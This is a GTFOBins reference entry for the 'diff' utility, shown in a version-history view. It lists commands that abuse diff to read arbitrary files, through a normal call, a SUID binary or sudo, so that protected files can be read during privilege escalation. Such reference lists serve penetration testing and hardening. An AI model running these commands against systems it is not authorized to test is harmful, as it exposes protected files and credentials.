GTFOBins.github.io/_gtfobins/diff.md

16 lines
319 B
Markdown
Raw Normal View History

2018-06-02 15:02:38 +00:00
---
functions:
file-read:
2018-07-16 13:01:50 +00:00
- code: |
LFILE=file_to_read
diff --line-format=%L /dev/null $LFILE
2018-10-05 17:55:38 +00:00
suid:
2018-07-16 13:01:50 +00:00
- code: |
LFILE=file_to_read
./diff --line-format=%L /dev/null $LFILE
2018-10-05 17:55:38 +00:00
sudo:
2018-07-16 13:01:50 +00:00
- code: |
LFILE=file_to_read
sudo diff --line-format=%L /dev/null $LFILE
2018-06-02 15:02:38 +00:00
---